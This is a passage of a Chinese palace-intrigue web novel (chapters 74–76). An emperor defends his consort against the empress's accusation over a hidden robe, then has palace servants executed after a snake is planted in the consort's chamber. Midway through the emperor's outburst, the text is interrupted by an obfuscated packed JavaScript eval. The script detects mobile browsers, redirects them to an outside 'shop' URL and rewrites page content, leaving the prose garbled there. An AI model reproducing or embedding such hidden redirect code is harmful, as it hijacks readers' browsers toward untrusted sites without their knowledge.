嬴忱璧哈哈笑起来,笑意中渗透的凄狠恰似火浆爆发后灭绝草木生息的惨烈:“我还当自己是皇帝吗?甚至于我还拿自己当男人吗?我是在犯贱吧,我还真是个笑话啊!” 霍灵渠凝视他,没看进皇帝心里也似能读出皇帝心里的悲怆,皇帝应该真被伤到了。 “谁不想对自己好?人往往会觉得自己少什么就想要给自己弥补什么。”霍灵渠善意的熨帖就像寒冷退场后苏醒的盎然春意那么暖:“陛下觉得曾经的前未婚妻做贵妃对您是圆满,或许您下意识觉得给原配找条活路、愿她余生安好也是您的圆满。 你嬴忱璧的童年不够圆满,而今你做皇帝,你想弥补自己自然会想要圆满。对我如此,对郭皇后又何尝不是呢?陛下的生母早亡更非你父皇的皇后,你愿意对郭皇后多多宽容大概就是种错位的弥补,能给你慰藉让你心里觉得这般能对你生母有补偿。” 凶猛蹿高的怒意骤然被掐住,嬴忱璧仿佛像在炎炎酷暑里灌下杯凉饮般控住心里的火,他似怔愣得注视贵妃片刻,闭眼拥紧贵妃,叹道:“贵妃让朕抱抱,朕想冷静会儿。” 窗台遗落片斑斓的剪影,窗外铺满夕阳华彩,煊赫炽烈的火烧云荟萃天际变幻着骏马奔腾猛虎咆哮而眨眼间又似螃蟹醉倒了,以浓墨重彩的笔调给日落献上精彩收官。 皇帝就在黄昏尽情释放绚烂时走出关雎宫回到帝王住的皇极宫,不消多久就传遍宫闱,可比本月十五陛下又没踏足椒房殿还要叫阖宫吃惊得多,前朝真有那么忙吗? 往前数,最近是十三那日,陛下宿在钟萃宫,此后便好几日都没回后宫安置;哪里想到今儿傍晚陛下已经在关雎宫了都没留,真是前朝忙而非贵妃触怒陛下吗? 雕梁画栋的钟萃宫在漫天夕阳红透里似流金溢彩,令愔夫人在庭前陪两个皇儿看晚霞,听闻此事轻轻叹息,她猜应该是陛下也知道了贵妃偷藏英王世子的衣袍吧。 杭婕妤将用膳时收到消息,扬唇含笑,可惜打探不到贵妃传召那么多大臣想做什么。 椒房殿里,皇后娘娘的十八道珍馐佳肴刚摆好,郭皇后只顾用膳,对此事根本没理会;皇帝十五又没来椒房殿,她都没在意,哪还有闲情搭理皇帝为何黄昏时离开关雎宫。 眼线报,贵妃偷藏情郎的衣袍日日思念,身边人劝她抓住机会,她想不好;跟她娘商量,她爹娘也想不好;令愔夫人和杭婕妤也收到了线报来求证,偏偏问她们意见又都没声;再往后连喻秀仪都知道了,竟然又是只知向她求证不知道发表意见的。 郭皇后被这事闹得心烦意乱,就算霍贵妃软弱好摆弄,霍家和太后能吗?!一个个的,都想看贵妃和霍家倒掉怎么就不知道帮她出头呢;哪怕坚决些表明必须揭发也行啊,非得由她拿主意请她定夺,什么都要由她来拿主意还要她们来做什么,真是烦死她了。 当夜,又有线报呈上,郭皇后展开纸条看过差点想骂他们废物,这些消息就不能筛拣好选重要的报上来吗?!霍桑柔做过娼妓接客被几个男人睡过不是很正常,这都要报上来,这群奴婢是不是全是光吃饭不长脑的啊,这些破事真是烦得她没完没了。 星夜幽深,繁星好似明眸乘坐箭矢映在天际深蓝绸幕,闪烁着的是残留在人间的心事。 盏盏琉璃灯照得檐下亮如白昼让流徙在廊檐前的星辉退避转入草木丛,魏王妃莲步走过映照明亮的廊前迈步进书房,来到丈夫面前,福身施礼含笑问:“王爷,您找妾身?” “嗯,明日或后日,就最近几日,王妃选个日子去趟宫里把这对手镯送给霍贵妃。” 魏王妃视线看向匣中的金手镯,没有任何特别的,真若说特别就是不应该送对金手镯,她按住心中计较提议:“王爷,送金镯是否礼轻了,不如换对贵重些的玉镯?” “还是算了,算了吧。”魏王本就想不好到底该让王妃送信还是他亲自面谈,王妃这一打岔闹得他更迟疑又恐信里表示得再清楚也仍然需他亲自走趟,想想还是算了。 魏王妃看得出丈夫最近有心事烦扰,体贴得没追问,提起宫里的新鲜事:“王爷,妾身听闻皇后竟在欺压贵妃,太后和霍家却像不知情似的,未免蹊跷了。” “嬴忱璧和霍家联手挖坑给郭氏跳罢了,也真是难为嬴忱璧居然能忍这么多年。”魏王玩味笑起来非但没讽刺反而有点感叹:“这份忍功,本王确实不如这弟弟。” 琉璃灯盏烛辉盈彩,静静躺在红绸里的镶碎彩宝石金镯熠熠生辉;待屋中人影相独时,一张纸条自金镯里取出燃烧,转眼间就被火舌吞尽只余残灰留在鎏金香炉里。 75. 第75章 晨间多清新,阳光似羽毛柔软,拂过皇帝难辨情绪的龙颜,拂走丝难言的晦涩。 正徽帝嬴忱璧站在椒房殿前驻足抬眸,神思幽幽,仿佛在审视在回忆又像什么都没想,仿佛沉思许久又像只在瞬息间,很快,皇帝敛尽思绪举步进殿。 皇后请皇帝有要事相商,椒房殿里还有令愔夫人和杭婕妤、两位太妃和建威侯夫人,除人家母女之外的四位被请来刚聊两句就猜到皇后的目的了,这是决意要揭发霍贵妃。 前日还烦不胜烦,郭皇后能如此迅猛拿定主意全靠她母亲。昨日,建威侯夫人进宫本想说霍桑柔,获知皇帝在前日傍晚时分还离开关雎宫后当机立断让皇后不能错过机会。 她们猜前日傍晚应该就是皇帝也知道了霍贵妃偷藏着情郎的衣袍才会不留情面的离开,又有那么个秽乱的同母妹妹霍桑柔,保管能够令皇帝膈应贵妃;想发作霍贵妃就得在皇帝最愤怒嫌恶的时候,若是错过这段儿等皇帝怒火平息了,再闹出来也没多少效用。 正徽帝嬴忱璧走到主位坐,示意众人免礼,还未和皇后说话,殿外就报:霍贵妃到。 霍灵渠一袭锦茜红曳地鸾尾裙宫装外罩金丝牡丹披帛,丝绸般柔顺的青丝绾做双刀髻,鬓间珠宝灿灿金辉耀眼,惟妙惟肖的金翅凤凰携珠步摇好似下刻就要凌空腾飞;当她进殿,椒房殿的精华仿佛都被她发髻间的凤凰步摇所摄取,这座皇后殿阁转眼间黯然无光。 “大清早的三催四请非得让我来这趟,到底什么事?” 面对皇后连同皇帝陛下,霍灵渠神态倨傲满满的不耐烦,她站得直更没屈膝没施礼。 椒房殿里的宫人们都没见过贵妃,刚被霍贵妃绝顶的美貌震慑就打激灵清醒了,凤凰牡丹岂是贵妃能用,何况竟敢面对帝后不行礼?倨傲挑衅都没这样的吧。 建威侯夫人在心底冷笑,两位太妃对视眼反而各自偷笑,恐怕都不用霍太后来助阵,郭皇后都拿霍贵妃没辙,瞧瞧贵妃这阵仗哪有半点软弱可欺的样子,这些天分明在装呢。 郭皇后看皇帝,嬴忱璧像是丝毫不在意,她憋闷给站在她身侧的奶娘使眼色,赖嬷嬷当即凌厉喝道:“大胆霍贵妃!竟然面对帝后不跪拜,你还知尊卑礼仪吗?还不快跪下!” “本宫记忆中的椒房殿还是任皇后尚在时,本宫的姑母做这座殿阁主人的时候,本宫虽然未能得见也能想象得出我姑母是何等的雍容华贵,而今皇后你?”霍灵渠微笑瞥过皇后,把居高临下的态度捏得死死的:“二十年前,谁能想到表姐你能有如此造化。” 语毕,霍灵渠毫不客气地走上前在皇帝身边坐,随意胡编:“我膝盖不好,任皇后生前嘱咐过,将来我面对是同辈人的皇后可免行礼,表姐若是不信可向太上皇和魏王求证。” 椒房殿里的皇后主座可不是罗汉床能供帝后两人同坐在主位,皇帝占掉主座,郭皇后可是宫人们搬把紫檀靠背椅来放在主座旁边给皇后娘娘坐。霍贵妃在椒房殿里坐到陛下身边,这哪儿是公然挑衅踩郭皇后的脸,这是明目张胆要凌驾在郭皇后之上啊。 随侍的宫婢倒吸凉气,令愔夫人按太阳穴;郭皇后急喘,赖嬷嬷忙给皇后娘娘顺气;田太妃满脸笑意,哎呦声打趣:“贵妃这漫不经心的矜傲风采可真像太后娘娘呢。” “陛下!”建威侯夫人忍无可忍站起来抢话:“戴凤凰步摇已是大僭越该当处置,还敢见帝后不行礼还敢坐到皇后之上,霍贵妃还有半点体统吗?您要为皇后做主啊!” “昨儿个,我父亲兴献侯特意来内廷告诉本宫,钦天监已经推算出来,郭皇后既许佛门布告朝堂即将辞后位,若出尔反尔必有灾殃,郭氏请辞后位不容更改。” 霍灵渠唇畔噙着恰到好处的笑意,将不屑一顾隐匿在优雅间:“钦天监也算好吉日了,明年正月二十四就是郭皇后请辞后位的吉祥日子;建威侯府若还不知道,不必谢我。” 正徽帝嬴忱璧稳如泰山,站在殿里伺候的宫人们受震动过后悄悄面面相觑;令愔夫人微愣下忍不住叹息,哪怕大家都清楚郭皇后避不掉要被迫辞位,可有限制和没限制到底不同,没有限期还能有错觉好像能够肆意拖延,限定日子就是套上枷锁再没幻想的余地了。 建威侯夫人瞪大眼睛,震惊得难以置信更不愿意接受;田太妃瞥她眼,在心底翻白眼,当霍家逗你们玩吗?一年前就清楚的事竟然还妄想霍家能任由你们拖延也够可笑了。 郭皇后背脊冒寒气止不住得手脚发颤更眼含惊恐地盯着霍贵妃,霍贵妃娴雅退尽嫌烦道:“表姐请我过来到底什么事啊,有事就利索点说事,我又不是来看你扮哑巴的。” “来人!”郭皇后受刺激下像要扳回自己的皇后尊威般倏然尖叫,赖嬷嬷连忙叫荔黛把衣裳呈上来;收到指示的大宫女荔黛忙从管那衣裳的小宫娥那里拿过衣袍呈给皇后,郭皇后接过宫婢呈上来的衣裳就扔到霍贵妃面前,狠厉质问:“贵妃还认得这是什么吗?” 霍灵渠神情微变,凝视着被扔在地毯上的衣袍,她忽然发笑,起身往前走两步,弯腰把衣裳拾起来弹弹干净抱在怀里,众目睽睽还当着皇帝的面也毫不在意。 “我做流光姨娘时,英王妃常派奴婢搜刮流光姨娘的妆匣,是明抢。没想到皇后高居国母尊位竟连个臣妇都不如,还要暗偷;不问自取是为贼,皇后娘娘自重吧,告辞!” 满殿安静,大约谁都没想过会是这番景象,霍贵妃怎么就敢反指责郭皇后行偷窃行径? 令愔夫人怔怔看着贵妃走过她眼前,对这情况有点反应不过来;杭婕妤心里好笑至极,偷藏情郎的衣袍被揭穿竟然还敢趾高气昂大放厥词,没脸没皮得简直不知死活。 “贵妃?贵妃?!你给本宫站住!”郭皇后粉白的脸涨得通红又气得浑身发抖,不敢相信霍贵妃敢这般嚣张狂妄,憋着羞愤屈辱怒喝太监们:“你们还不快拦住她!” 内监们动作迅速涌到殿门前拦路,霍贵妃可还冒犯着皇帝的君威;适时,沉默已久的皇帝总算开尊口:“贵妃回关雎宫吧,朕和皇后说几句话就去关雎宫看你。” “陛下?”郭皇后反应剧烈地站起来,真怀疑皇帝是不是眼瞎:“那是英王世子的旧衣,贵妃她偷藏着情郎的衣裳在日日思念,若不处置还成何体统?” 皇帝皇后隐成对峙,堵在殿门前拦路的内监们犹豫,杭婕妤想不通陛下在做什么呀?御前总管蒋厚运可明白陛下只能帮贵妃兜住,皇后娘娘这事做的也太没顾忌了。 “皇后糊涂了,贵妃怀抱着的明明是朕的衣袍。”嬴忱璧视线转向这个占着他正妻位置又得到他对任何人都没有过的宽容还让他像个笑话的女人,尽量压住冷意和厌恶:“朕不想知道你这样大张旗鼓欲栽赃污蔑贵妃的意图,但皇后做事如此颠三倒四像话吗?” 嬴忱璧霍然站起来,盛怒训斥:“你堂堂国母尊位,你派人潜进关雎宫偷盗贵妃之物,你的母仪呢?你的妇德呢?发现贵妃寝殿里有男人的衣裳丝毫不想该是朕的衣袍反而只想污蔑贵妃,你这是什么心思,你心思如此不良还有脸垂范后宫给女眷做表率吗? 再说污蔑,皇后就算想栽赃污蔑贵妃是不是也该做的有点水准,你的伪证呢?没头没脑扔件衣裳就要栽赃贵妃,你想让阖宫上下笑掉大牙吗?更甚者,皇后若是认定贵妃偷藏别的男人的衣袍为何不向朕禀明反而偏要闹得尽人皆知,你是何居心?” 嬴忱璧冷冷咆哮:“想踩朕的脸,想让朕在宫闱在朝堂面前没脸,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459267|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就高兴了?!” 整座殿的宫婢连同郭皇后和建威侯夫人母女被皇帝怒吼咆哮吓得打冷颤,总管太监蒋厚运忙带头跪下,他一跪地,众宫人见状连连扑通跪下;两位太妃随后,她们多少都有数的,皇帝能认这种丑闻吗?皇后揭发出来,哪怕皇帝真能处置,皇后也别想能落好。 令愔夫人狠狠深呼吸下跪地,杭婕妤发懵,后知后觉意识到顾全陛下的颜面才最重要,陛下是宁可帮贵妃打掩护宁可训诫皇后掩埋真相都不能容忍闹出这种丑闻。 建威侯夫人就看着殿内只有帝后和霍贵妃还站立,双膝发软遏制不住地滑倒跪下来。 郭皇后心脏紊乱急跳不停,压抑的屈辱愤恨痛苦叫她不愿意就这样屈服,可她紧张,紧张得只能抓着污蔑的点磕磕绊绊辩解:“我没…我没有、我没有污蔑她,真的是贵妃偷藏情郎的衣裳在日日思念,关雎宫的宫人都可以作证,我没有栽赃诬陷她!” 闻言,莫说两位太妃乐,蒋厚运也叹息,皇后娘娘你倒是认清楚陛下在意的是什么啊。 “宫人作证?”嬴忱璧对皇后秉性越清楚就越觉得自己可笑,如此刻,郭氏争的是怒,是从未对皇帝君威有过畏惧的蔑视,是对被她看不上眼的皇帝丈夫压制的痛恨不甘。 “哪怕皇后带朕到贵妃的寝殿里搜出不是朕的衣物,焉知不是皇后你买通贵妃的近侍想往贵妃身上泼脏水,这么浅显的道理还需朕来教你吗?”皇帝他似在强压愠怒,在众人面前给妻子留颜面:“皇后好好想想吧,最后十个月,莫再给内廷闹笑话看了。” 言尽,正徽帝嬴忱璧迈开长腿就走,走到门槛前,跪地的太监们利索开道,皇帝他带上被堵在门槛前的贵妃拂袖而去,大总管连忙爬起来带着跟随陛下来的宫人们小跑追上。 两位太妃旋即起身告辞,令愔夫人迟疑下还是不多留,与杭婕妤同告退离开椒房殿。 建威侯夫人擦擦额头的冷汗站起来,吩咐所有的宫婢都退下,苦涩想劝慰女儿,郭皇后痛苦痛恨再也没法顾忌地抄起摆设砸:“废物!窝囊废!压不过霍家竟连这种窝囊都能忍,有种对我摆皇帝威风怎么就不知道处置霍灵渠啊,他这个没用的废物……” 窗外有猫叫轻响,尖锐的吼声混着摔砸的哐当嘭啪轻而易举将细微的猫叫声淹没,椒房殿上空,明媚的阳光照得琉璃碧瓦闪耀,慵懒的猫儿在树荫下打盹儿;殿阁四周暗影相叠,怒放的姚黄牡丹花昂扬冠群芳,花香悠扬似能挡掉被踩踏浮起的细尘。 皇帝和贵妃的轿辇同时停在关雎宫前,霍灵渠怀抱衣裳走下轿辇,僭越走在皇帝前面,疾步走进关雎宫直奔寝殿;嬴忱璧微微惊讶得顿下后装作若无其事地包容贵妃的小性子,边走边考虑该怎样在不和贵妃吵架的前提下把晏霁之的衣裳送走? 来到寝殿,嬴忱璧绕过紫檀屏风,见贵妃傻傻直站着,他讶异走近揽住她:“贵妃?” 霍灵渠瞪圆水汪汪的美眸转向皇帝示意他往前看,嬴忱璧转头看去,瞬间目光骤变,前方竟有条长虫盘旋着朱漆圆柱在吐蛇芯子,宫人都活腻了竟敢往贵妃的寝殿里放蛇?! “应当是没有毒的,贵妃莫怕,你先退到殿外,待朕把这长虫抓住就处置宫人。” “哦,那你自己小心。”霍灵渠抱紧衣裳放轻脚步往后退,绕过屏风再疾步走到殿外,看见堂弟霍雄鹰走来,她连忙抓住弟弟交代:“寝殿有蛇,雄鹰你快进去帮帮陛下。” 霍雄鹰不可思议得怒火猛飙,安抚住姐姐莫怕,大阔步往寝殿里走,迎面撞见陛下捏着活蛇的七寸出来,竟然是条一尺多长的长虫!怒得他浑身冒烟拳头捏得咯嘣响,他们家有点愧念点亲戚情忍忍郭皇后和建威侯府,他们就真当霍家是死人吗?! 76. 第76章 关雎宫似风雨欲来。 皇帝调三百名禁军进驻,压迫感交织着凛冽的肃杀气息犹似黑云压城城欲摧。 华丽而不失庄严肃穆的正殿前,关雎宫所有宫婢跪地,正徽帝嬴忱璧龙颜阴沉,霍雄鹰和禁军统领步昂伴驾左右,蒋厚运带着随侍来的御前宫女陪霍贵妃在清韵斋养神。 宫婢们胆敢放纵自是考量过自信认为能够全身而退,他们甚至可指此乃霍贵妃自导自演,整座关雎宫的宫婢全部作证还怕陛下不信吗?可皇帝不查问只传大统领调禁军,能做主有脸面的宫人开始惴惴不安,反而是做粗使活的宫人心态好些。 霍太后怒火腾腾杀到,没见到灵渠的身影,问清贵妃在清韵斋休养,她控制住想把这群宫婢直接撕碎的冲动要交代:“皇儿,这事你要如何处置?母后在来的路上已查清是大皇子在辰时末刻进过关雎宫,小小年纪就如此歹毒,再不管教还能得了吗?” “母后息怒,倘若真是大皇子举止不当,自该管束。”皇帝传令禁军统领:“问问他们,是谁在贵妃的寝殿里放长虫?若是一个都没准话,留着也没用了,全部杖毙。” 杖毙两字叫跪地的许多宫婢在这样风和日丽的晴朗天里打个寒颤,陛下像是在说笑吗?掌事姑姑在心里打鼓,还没权衡好就被询问,她狠狠心咬定:“是贵妃自己做的!” 她跟霍贵妃不可能再修好,不是霍贵妃弄死她就是他们压制住贵妃,必须得咬死:“是贵妃自己指派奴婢们蛊惑大皇子来放蛇,就为博取陛下怜惜再让陛下您厌恶大皇子。” 霍雄鹰气得头顶冒烟,霍太后暴怒要处置被皇帝拦住:“母后息怒,倘若奴婢们全都认同就全部杖毙好了,绝不会流出关雎宫损及贵妃的清誉。步昂,接着问!” 霍姓两位姑侄总算稍微舒坦些,掌事姑姑心神俱裂抬头:“陛下?!” “前日也是贵妃唆摆你们偷盗贵妃的财宝再令朕撞见好博取朕的怜惜吗?还是贵妃教唆你们给贵妃沏苦茶、扯破贵妃的宫装、领不到温汤监培育的鲜果、花枝枯萎不必换掉吗?今早更是贵妃传令放行让椒房殿过来的宫人进贵妃的寝殿里偷窃吗?!” 皇帝压抑多日的积怒犹若山石滚落般爆发:“朕挑你们进关雎宫时可曾有嘱咐过你们要好好照顾贵妃吗?贵妃入宫当夜,朕可曾训示过你们,若有谁胆敢怠慢贵妃,朕绝不轻绕?你们侍奉不周,朕小惩大诫杖刑十板时又可曾再训诫过你们? 朕再三交代要照顾好贵妃,你们就把朕的话当耳旁风是吗,你们和贵妃是有深仇大恨值得你们在关雎宫做事竟只想欺辱贵妃吗?眼下是想只要所有宫人统一口径就不愁朕不相信你们是吗?你们还有半点做宫人的本份吗?!” 皇帝怒然拂袖转身:“步昂,所有能进殿伺候的奴婢,全部处死!” “陛下??”涉及的宫婢无不撕心裂肺,想挣扎求饶悔改,可哪还求得到,刚挣扎,所有能进殿里伺候的宫人就全被拖下去行刑了。 没有闹出关雎宫,陪同霍太后而来的宫人和还跪着是做粗使活没被殃及的宫婢们就全睁眼看着那群人一个个被禁军拿刀处死,多数人不禁又打寒颤。 禁军统领禀告行刑完毕,皇帝背身吩咐:“继续问,是谁往贵妃的寝殿里放长虫?” 刚经过血腥的教训,还保着小命的宫婢们谁也没活腻了呀,被步统领点到就照实说:“是大皇子,大皇子在贵妃离开后突然过来,大皇子带着四名内侍还带着瓦瓮,姑姑他们检查过瓦瓮后就请大皇子随意玩,奴婢真不知道瓦瓮里竟然装着长虫。” 跪地的其余宫婢尽数附和,皇帝重新转过身传令:“大皇子无状、蓄意恐吓庶母,杖刑十板禁足半月,今早陪着大皇子来关雎宫的四名内侍发配掖庭局。 皇后管教无方,自今日起罚上半年内用度减半,椒房殿裁剪二十名宫人放出宫。另,宫里近期盛传霍家死期不远矣,谣言出自太妃宫苑,在宫里乱嚼舌根者,轻者拔掉舌头、重则当杖毙,念在贵妃新封见太多血腥不详,贵妃又刚受到惊吓,朕就不深究了。 每位太妃裁剪四名宫人放出宫、连同椒房殿放出的二十名宫人一起限两个时辰内出宫,至于何时给椒房殿和太妃们把宫人补全?太后有闲暇时,让皇后和太妃们问太后吧。” 霍太后勉强认可就没再提要求,霍雄鹰和步昂领旨意各自率一百名禁军去办事。 皇帝再传令把赐死的宫婢和血迹处理干净后,刚想陪太后去看贵妃,霍灵渠怀抱着她带进宫的包裹已出现在殿前,语调沉寂而疲倦:“我要去长春宫住。” 御前总管太监蒋厚运带领随侍的宫娥们给陛下和太后请安,对远处那滩血一眼都没瞟;他身后有两名宫女还各捧着只木箱,贵妃不放心把霍家送来的财宝放在关雎宫,唉。 霍太后忙宽慰灵渠莫怕,霍灵渠疲懒地靠在姑母怀里,前日她还讽刺这群宫婢还有什么做不出?今日就应验更超乎她想象,这群宫婢根本不忌惮敢将贵妃谋害死,可她难道和这些宫人有血海深仇吗,何至于从她做贵妃起就对她满怀恶意? “好!”皇帝顾虑贵妃可能被吓得有阴影便同意了:“贵妃受到惊吓需得调养,养好前的确不宜独居,朕前朝事忙不能时时陪伴贵妃,只能叨扰母后多费心。”他转向养母表惭愧:“孩儿不孝还得请母后帮朕照顾贵妃,贵妃养好心神,朕就接贵妃回关雎宫。” 霍太后敷衍过就带灵渠走,皇帝自然得陪着母后和爱妃去长春宫。 他们到长春宫后,皇帝更挤掉养母独自霸着安抚贵妃,闹得霍太后提前一两个时辰就把给郭氏立规矩提上日程:“传皇后过来,本宫午膳想喝儿媳妇亲手烹调的蛇羹。” 贵妃暂且搬到长春宫住,按她自己的意愿执拗挑座僻静的殿阁调养;晌午的阳光灿烂,殿前青葱绿意似透明生辉,殿阁内温暖浸润,可惜没能扫除心中阴霾。 霍灵渠抱她的包裹坐在美人榻里,皇帝非要抱她都没抗拒,沉寂得颓丧。 正徽帝嬴忱璧宽慰安抚半响没起效用只得作罢,他看向贵妃的包裹,晏霁之的衣袍就在这包袱里,挑明道:“贵妃把晏卿的衣裳给朕吧,你偷藏这衣裳,朕不会计较。” 贵妃当做没听见,皇帝好脾性地重申:“贵妃,把晏卿的衣裳给朕。” “臣妾刚才耳聋了,陛下见谅。”霍灵渠给点表示,嬴忱璧:“……”冷不防贵妃竟然这样耍赖的皇帝默下哄她:“贵妃休得胡闹,朕都不计较你背着朕偷藏晏霁之的衣裳了,朕已然够宽容疼爱你,你还想得寸进尺吗?你再放肆,朕可要生气了。” “陛下觉得郭皇后令你变成笑话,您也只是迫她辞位,如此看来惹皇帝生气算什么?”霍灵渠沮丧得挑衅都提不起劲:“臣妾等着陛下允准我离宫修行,臣妾会努力的。” 被噎得险些戳进肺管,皇帝威胁:“贵妃若是再胡闹,朕要请国舅了。” “我想还时自然会还给晏霁之,陛下请谁来都没用。”霍灵渠不在意:“我祖父说了,他们哥俩皮糙肉厚挨几顿打都行,陛下要降罪就把我爹和大伯都扔进牢里吧。” 嬴忱璧秉持着不能在这方面纵容贵妃的原则撞撞南墙:“包括霍桑柔和她养的孩子?” 霍灵渠转眼看他,成功被挑起火星子:“臣妾一会儿就请父亲进宫,但臣妾建议陛下再深刻地反思对媳妇的宽容,应当不是因那杀意而是您真在意郭皇后。” “贵妃?”嬴忱璧告诫:“不得拿朕开涮,如有再犯,朕可要计较的。” “臣妾想小憩会儿,陛下请回吧。”贵妃利索地赶,嬴忱璧郁闷强留叮嘱:“大皇子会去贵妃的寝殿里放长虫不会是皇后授意,郭氏还没这胆量。 明日,朕就把关雎宫的宫婢补上再让国舅送四个懂医理会拳脚功夫的婢女进宫来。太后可能有段日子都要给皇后立规矩了,贵妃若在长春宫碰到皇后,不必在意。” 霍灵渠牵牵唇,客观道:“或许你真在意郭皇后只是不自知,何必让自己后悔?” “贵妃可要猜猜皇后此刻在想什么吗?”嬴忱璧自问自答:“郭氏定然在痛骂诅咒朕。”皇帝似惬意哼笑:“郭皇后看似受委屈,实则郭皇后的日子过得是真舒服。 莫说婆母故意对儿媳磨搓挑刺,太后至今都还没给她立过规矩,更没有宫人敢怠慢她。朕就没见过有谁家媳妇能过得有如她般舒适,何况是做皇后,可如此安逸,正徽四年以前她都还能稍有不如意就怨恨朕,可不就是欠磨搓。” 霍灵渠沉默会儿,抚抚她的包袱,疲惫似秋风卷落叶:“你让我出宫吧。” “朕知道,贵妃还被那群宫婢的歹毒吓到了,朕也是觉得可怖,一群奴婢打量贵妃脾性好竟就敢妄想活活将贵妃逼至绝路。”嬴忱璧眼底狠戾闪逝:“如此没有忌惮还能知敬畏,但凡朕仁弱些,一群奴婢是不是都敢妄图左右君王?!” “你放过我吧。”霍灵渠倦怠闭眼:“你大权在握,你就放我出宫吧,我不想过皇宫里的杀戮血腥,我愿余生青灯古佛求个平静。” 嬴忱璧刚想给贵妃保证,殿外传来禀告:“陛下,皇后娘娘护着大皇子不准禁军杖刑,步统领不敢伤及皇后,请陛下定夺;建威侯夫人又派宫人请令愔夫人和翁美人出面帮大皇子求情,令愔夫人现侯在正殿求见。” 皇帝还没来得及传令就再被贵妃赶:“臣妾想小憩会儿,陛下忙去吧。” “好。”嬴忱璧叹气叮嘱:“贵妃好好休息,切莫胡思乱想,晚膳时候朕再过来陪你。”叮咛过后离开,走到殿门前时已恢复成冷肃模样,走到殿外,皇帝确认遍翁美人是否同在?得知翁美人没过来只有令愔夫人在,他再传口谕。 “传令步昂,让宫女请皇后去休息,宫女若是请不动就派禁军,皇后如若再违抗朕意,让禁军不必再顾及了。”语毕,嬴忱璧阔步往外走,去向养母告退,再去带令愔夫人离开。走出长春宫,他即让令愔夫人回自己宫里,别掺和这事。 令愔夫人愿意过来求情自是真心:“陛下,大皇子乃嫡长皇子最是金贵,他还未满八岁,即使偶有顽劣做了错事,训诫教导足矣,如何能杖刑,若是杖刑,就是大皇子的污点,这让大皇子还如何给弟弟们做表率、如何承担皇室子弟的风范?请陛下收回成命。” “皇家的风范表率得他彰显出能匹配的品行而非仅凭身份就能得,他将来的德行名声不会因他童年挨过打就损一分、更不会因他童年没挨过打就能增一分。”嬴忱璧冷然拂掉阖宫认为最得宠妃子的情面:“慈母多败儿,惯子如杀子,夫人谨记。” 言罢,皇帝撇掉令愔夫人往前走,令愔夫人还没反应或是不相信陛下就这样走了,御前总管蒋厚运迅速打圆场向娘娘解释下就率众小跑追赶陛下。 他们成群跑过她的眼前,令愔夫人方才反应,下意识冲皇帝的身影喊:“陛下——”可她没得到回应只目送皇帝走出视野,按住心底一二丝怅然,去椒房殿宽慰皇后。 翁美人躲藏在隐蔽处观察,看令愔夫人快走远了,连忙现身喊她。 椒房殿送来请托后,翁美人甭提有多纠结,她若推辞,郭皇后小心眼肯定会记仇;再有令愔夫人的对照在,阖宫上下没得认为她多没情义呢,可陛下雷霆大怒呀。 关雎宫能进殿里伺候的奴婢都被赐死了,陛下摆明震怒,现在撞过去肯定要触霉头的;何况旨意已下岂能再改,朝令夕改,君威何在? 令愔夫人多年宠爱不衰还有两个皇子傍身,愿意顶着龙威做滥好人博名声,她能比吗?让她冒着失宠的危险只为帮郭皇后替大皇子求情免除杖刑,这不是笑话吗?! 何况她都觉得郭皇后故意想害她,小孩子做错事被罚顿打算什么呀,她弟弟调皮捣蛋,被爹揍都是家常便饭。皇后为十板子就这样折腾,图什么,图惹怒陛下对他们母子生厌吗?这样看来还真是想害她,趁着还在皇宫里时能害嫔妃就多害几个,心思简直太坏了。 令愔夫人转身,遥见翁美人捧着孕肚向她走来,连忙迎上去。她们寻座附近的凉亭坐,翁美人再担忧表示她有些不舒服来晚了,没能帮到大皇子,皇后娘娘不会怪罪她吧? “不会的,皇后娘娘宽和优容,只会感激翁美人仗义何来责怪,翁美人放心。” 翁美人闻言就在心里呵呵,郭皇后宽厚优容,没在逗她吗?果然场面话完全不能信。 “夫人您说说,怎会闹得这样严重?”翁美人装得小脸忧愁苦泛:“陛下的旨意下来,整座皇城都人心惶惶,日前我还听说杭婕妤被害绝育了,皇宫里最近是 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令愔夫人蹙眉猜疑,翁美人抓住她的手臂装可怜祈求:“夫人,你是不是还想去椒房殿宽慰皇后娘娘,你能不能不去呀?你去,我却不去,哪怕皇后宽和又岂能没疙瘩? 我也担忧皇后和大皇子,可贵妃受惊吓了,我若非但不安慰贵妃还反而跑椒房殿,又让贵妃怎么想?我的皇儿要交给贵妃抚养,我不能让贵妃心里有芥蒂,我也难做。 何况还有建威侯夫人在呢,我们两个外人在椒房殿杵着到底会打搅她们母女说贴心话。两位皇子也该想夫人了,夫人就回钟萃宫吧?” 令愔夫人迎上她苦恼神伤的小脸,温和应好。 翁美人倒也没胡扯,皇帝最新的旨意就像席卷皇城的风暴,不仅是受殃及的椒房殿和两座太妃宫殿,没被波及的各处都受动荡,皇帝震怒,皇宫还想能安宁吗? 故而不肯就范的太妃们碍于皇帝的威慑没在明面抗议,私底下商量去信求太上皇做主,毕竟她们都清楚,霍太后绝对不会想再给她们补上。 庄太妃不在意裁剪掉四个宫人也仍然同意署名了,她恨的是这种束缚,皇帝轻飘飘的就要压得太妃们连点水花儿都别想翻起来。霍家死期不远矣的谣言是她散播出去,等等,唆使大皇子去关雎宫放长虫?好了,不是她做的,她都要背黑锅了。 “是我做的又如何,霍贵妃自己闹出来的把柄,我为何不推把?”鞠太妃还嫌晦气呢:“哪儿能想得到郭皇后和关雎宫那群宫人居然能这样没用,戏台搭好了,戏也排好了,他们只要依葫芦画瓢唱两声竟然都唱不起来,真活该被处死。” “不是他们唱不起来而是皇帝不让。”庄太妃深呼吸给她解析:“贵妃偷藏情郎的衣袍,皇帝能允许传出这种丑闻吗?你让眼线怂恿皇后闹出来,皇帝也只会帮忙兜着。 至于教唆大皇子在关雎宫放长虫,关雎宫所有宫人都指证霍贵妃自导自演又算的了什么,不过把宫婢处死而已,皇帝还在给霍家脸面,会因群奴婢就和霍家闹不愉快吗?” 